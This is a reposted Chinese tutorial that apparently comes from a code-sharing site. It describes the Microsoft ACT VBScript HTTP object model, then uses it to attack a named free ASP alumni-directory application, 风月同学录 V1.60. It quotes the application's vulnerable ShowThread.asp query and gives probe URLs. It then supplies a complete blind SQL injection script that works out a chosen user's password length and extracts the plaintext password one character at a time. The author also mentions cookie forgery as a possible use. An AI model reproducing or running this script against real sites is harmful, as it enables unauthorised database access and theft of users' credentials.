当前位置:首页 > 网络编程 > 新手教程 > > 用vbs来写sql注入等80端口的攻击脚本

用vbs来写sql注入等80端口的攻击脚本

点击次数:29 次 发布日期:2008-11-16 10:00:06 作者:源代码网
源代码网推荐

源代码网整理以下  来源:http://www.viphot.com/

源代码网整理以下  昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:

源代码网整理以下  -Connection对象

源代码网整理以下  Close方法

源代码网整理以下  Send方法

源代码网整理以下  IsOpen属性

源代码网整理以下  Port属性

源代码网整理以下  RedirectDepth属性

源代码网整理以下  Server属性

源代码网整理以下  UseSSL属性

源代码网整理以下  -Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵

源代码网整理以下  Expires属性

源代码网整理以下  Name属性

源代码网整理以下  Path属性

源代码网整理以下  Value属性

源代码网整理以下  -Cookies对象

源代码网整理以下  Add方法

源代码网整理以下  Remove方法

源代码网整理以下  RemoveAll方法

源代码网整理以下  Count属性

源代码网整理以下  Item属性

源代码网整理以下  -Header对象

源代码网整理以下  Name属性

源代码网整理以下  Value属性

源代码网整理以下  -Request对象

源代码网整理以下  Body属性

源代码网整理以下  CodePage属性

源代码网整理以下  EncodeBody属性

源代码网整理以下  EncodeQueryAsUTF8属性

源代码网整理以下  Headers属性

源代码网整理以下  HTTPVersion属性

源代码网整理以下  Path属性

源代码网整理以下  ResponseBufferSize属性

源代码网整理以下  Verb属性

源代码网整理以下  -Response对象

源代码网整理以下  Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。

源代码网整理以下  CodePage属性

源代码网整理以下  BytesRecv属性

源代码网整理以下  BytesSent属性

源代码网整理以下  ContentLength属性

源代码网整理以下  Headers属性

源代码网整理以下  HeaderSize属性

源代码网整理以下  HTTPVersion属性

源代码网整理以下  Path属性

源代码网整理以下  Port属性

源代码网整理以下  ResultCode属性

源代码网整理以下  HTTP状态代码

源代码网整理以下  Server属性

源代码网整理以下  TTFB属性

源代码网整理以下  TTLB属性

源代码网整理以下  UseSSl属性

源代码网整理以下  -Test对象

源代码网整理以下  CreateConnection方法

源代码网整理以下  CreateRequest方法

源代码网整理以下  GetCurrentUser方法

源代码网整理以下  GetGlobalIndex方法

源代码网整理以下  GetGlobalVariable方法

源代码网整理以下  GetNextUser方法

源代码网整理以下  IncrementGlobalIndex方法

源代码网整理以下  SendRequest方法

源代码网整理以下  SetGlobalIndex方法

源代码网整理以下  SetGlobalVariable方法

源代码网整理以下  Sleep方法

源代码网整理以下  Trace方法

源代码网整理以下  TraceLevel属性

源代码网整理以下  -User对象

源代码网整理以下  Cookies属性

源代码网整理以下  Name属性

源代码网整理以下  Password属性

源代码网整理以下  到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:

源代码网整理以下  oResponse = Test.SendRequest(strURL)

源代码网整理以下  参数:strURL as string:表示所请求的URL

源代码网整理以下  返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)

源代码网整理以下  这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:

源代码网整理以下  风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:

源代码网整理以下  ...

源代码网整理以下  topicid=request("RootID")

源代码网整理以下  sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid

源代码网整理以下  set rs=conn.execute(sql)

源代码网整理以下  ...

源代码网整理以下  非常古老且经典的一个,呵呵,试了下:

源代码网整理以下  http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1

源代码网整理以下  http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2

源代码网整理以下  数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。

源代码网整理以下  要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。

源代码网整理以下  "*********************************************

源代码网整理以下  "风月同学录V1.60漏洞测试脚本 by luoluo

源代码网整理以下  "注意:需要装Visual Studio.Net里的ACT工具

源代码网整理以下  "*********************************************

源代码网整理以下  "**********************************优化了下,效率要高些

源代码网整理以下  Option Explicit

源代码网整理以下  On Error Resume Next

源代码网整理以下  Dim Test

源代码网整理以下  Dim o_Response

源代码网整理以下  Dim Wrong

源代码网整理以下  Dim i,j,k

源代码网整理以下  Dim pwd_len

源代码网整理以下  Dim pwd

源代码网整理以下  Dim strings

源代码网整理以下  Dim username

源代码网整理以下  "从命令行得到要破解的人的用户名

源代码网整理以下  If WScript.Arguments.Count > 0 Then

源代码网整理以下  username = WScript.Arguments(0)

源代码网整理以下  Else

源代码网整理以下  username = "luoluo"

源代码网整理以下  End If

源代码网整理以下  WScript.Echo "开始探测,请等待... ..."

源代码网整理以下  "正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了

源代码网整理以下  Wrong = "luoluoisachinesehacker"

源代码网整理以下  "存放密码

源代码网整理以下  pwd = ""

源代码网整理以下  "密码的字符范围

源代码网整理以下  strings = "0123456789abcdefghijklmnopqrstuvwxyz"

源代码网整理以下  "建立对象

源代码网整理以下  Set Test = CreateObject("ACT.Test")

源代码网整理以下  "得到用户的密码的长度

源代码网整理以下  For i = 0 to 128 step 1

源代码网整理以下  "发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些

源代码网整理以下  Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)="" & i & ""%20and%20userid="" & username & "")")

源代码网整理以下  "如果返回的页面里有正确标志那么长度就对了

源代码网整理以下  If instr(o_Response.Body, Wrong) <> 0 Then

源代码网整理以下  pwd_len = "" & i & ""

源代码网整理以下  Exit For

源代码网整理以下  End If

源代码网整理以下  Next

源代码网整理以下  "猜解用户的密码

源代码网整理以下  For j = 1 to pwd_len step 1

源代码网整理以下  For k = 1 to len(strings) step 1

源代码网整理以下  Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")="" & pwd & mid(strings,k,1) & ""%20and%20userid="" & username & "")")

源代码网整理以下  If instr(o_Response.Body, Wrong) <> 0 Then

源代码网整理以下  pwd = pwd & mid(strings,k,1)

源代码网整理以下  Exit For

源代码网整理以下  End If

源代码网整理以下  Next

源代码网整理以下  Next

源代码网整理以下  If err Then

源代码网整理以下  WScript.Echo "错误:" & Error.Description

源代码网整理以下  Error.Clear

源代码网整理以下  Else

源代码网整理以下  "输出密码

源代码网整理以下  WScript.Echo "密码:" & pwd

源代码网整理以下  End If

源代码网整理以下  Set Test = nothing

源代码网供稿.
网友评论 (0)
会员中心
网络编程
本站推荐
网络编程之精华